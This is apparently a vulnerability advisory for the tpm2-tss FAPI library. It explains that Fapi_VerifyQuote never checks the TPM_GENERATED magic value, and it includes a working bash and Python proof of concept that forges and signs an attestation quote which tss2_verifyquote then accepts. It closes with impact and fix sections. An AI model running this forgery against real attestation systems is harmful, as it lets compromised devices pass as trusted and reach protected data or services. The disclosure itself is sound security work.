The JSON Quote Info returned by Fapi_Quote has to be deserialized by Fapi_VerifyQuote to the TPM Structure TPMS_ATTEST
. For the field TPM2_GENERATED magic
of this structure any number can be used in the JSON structure. But TPM_GENERATED_VALUE is defined in Part 2: Structures specification [2] in section 6.2 as 0xFF544347. Also after deserialization this number is not checked by Fapi_VerifyQuote.
The attacker can extract a FAPI key and use this key with the tpm tools for signing the faked attest. For the faked attest the attacker must create attestation data for FAPI in json format which can be used by tss2_verifyquote
#!/bin/bash
set -e
# Requirements:
#
# install: tpm2-pytss, tpm2-tools
#
# tss2_provision
# tss2_createkey -p /EK/quotekey -t "sign,restricted"
# tss2_exportkey -p /EK/quotekey -o quotekey.pub -f
# tss2_import -p /ext/quotekey -i quotekey.pub
#
#
# This is TPMS_ATTEST data, with only the magic value changed,
# from 0xFF544347 to 0xFE544347
# This allows the data to be signed by a restricted key.
SELF_GENERATED_QUOTE="/lRDR4AYACIACz8O45ce3lakDjlXj8HzNVWsPqxmdQB4NDJvtr/FKOqBAAAAAAAAJrMS+AAAACcA\
AAAAAQEuAAwAAAAAAAAAAQAEAw8AAAAgkXJ+pdvylw/O77Y4ankX7IIHqJIcIcQiQ+it1rkAhaE="
echo ${SELF_GENERATED_QUOTE} | base64 -d > quote.msg
# Create pattern for faked json quote-info
tss2_quote -x 10 -p /EK/quotekey -q fapi-quote-info-pattern -o quote.sig -f
tss2_verifyquote -q fapi-quote-info-pattern -k /ext/quotekey -i quote.sig
# Create the signature for the faked attest
tss2_gettpm2object -p /EK/quotekey -c quotekey.ctx -f
tpm2 hash -o quote.digest -t quote.ticket -g sha256 -C e quote.msg
tpm2 sign -c quotekey.ctx -o quote.sig.fake -t quote.ticket -d quote.digest -f plain
# Copy the data from the faked attest into the pattern and create faked json data.
python3 - <<EOF
from tpm2_pytss import *
from tpm2_pytss.encoding import (
base_encdec,
json_encdec,
tools_encdec,
to_yaml,
from_yaml,
)
import json
msg_file_path = 'quote.msg'
fapi_json_file_path='fapi-quote-info-pattern'
fapi_quote_info_fake_path = 'fapi-quote-info.fake'
with open(msg_file_path, 'rb') as file:
msg_data = file.read()
fake_attest, _ = TPMS_ATTEST.unmarshal(bytes(msg_data))
encdec = json_encdec()
fake_attest_data = encdec.encode(fake_attest)
with open(fapi_json_file_path, 'r') as file:
fapi_json_data = json.load(file)
fapi_json_data['attest']['magic'] = fake_attest_data['magic']
fapi_json_data['attest']['qualifiedSigner'] = fake_attest_data['qualifiedSigner']
fapi_json_data['attest']['attested'] = fake_attest_data['attested']
fapi_json_data['attest']['firmwareVersion'] = fake_attest_data['firmwareVersion']
fapi_json_data['attest']['clockInfo'] = fake_attest_data['clockInfo']
json_string = json.dumps(fapi_json_data)
with open(fapi_quote_info_fake_path, 'w') as file:
print(json_string, file=file)
EOF
# This should fail since the magic code of the signed data is not 0xFF544347 aka TPM_GENERATED_VALUE
# But it doesn't because it's not checked
tss2_verifyquote -q fapi-quote-info.fake -k /ext/quotekey -i quote.sig.fake
The verifier can receive a state which does not represent the actual, possibly malicious state of the device under test.
The impact then depends on the further actions of the falsely successful attestation process.
For example, the malicious device might get access to data it shouldn't, or can use services it shouldn't be able to.
Details
The JSON Quote Info returned by Fapi_Quote has to be deserialized by Fapi_VerifyQuote to the TPM Structure
TPMS_ATTEST
. For the fieldTPM2_GENERATED magic
of this structure any number can be used in the JSON structure. But TPM_GENERATED_VALUE is defined in Part 2: Structures specification [2] in section 6.2 as 0xFF544347. Also after deserialization this number is not checked by Fapi_VerifyQuote.PoC
The attacker can extract a FAPI key and use this key with the tpm tools for signing the faked attest. For the faked attest the attacker must create attestation data for FAPI in json format which can be used by
tss2_verifyquote
Impact
The verifier can receive a state which does not represent the actual, possibly malicious state of the device under test.
The impact then depends on the further actions of the falsely successful attestation process.
For example, the malicious device might get access to data it shouldn't, or can use services it shouldn't be able to.
FIx
The function
ifapi_json_TPMS_ATTEST_deserialize
should check the field magic and return an error if0xFF544347
is not used, and Fapi_VerifyQuote should check this value after deserialization.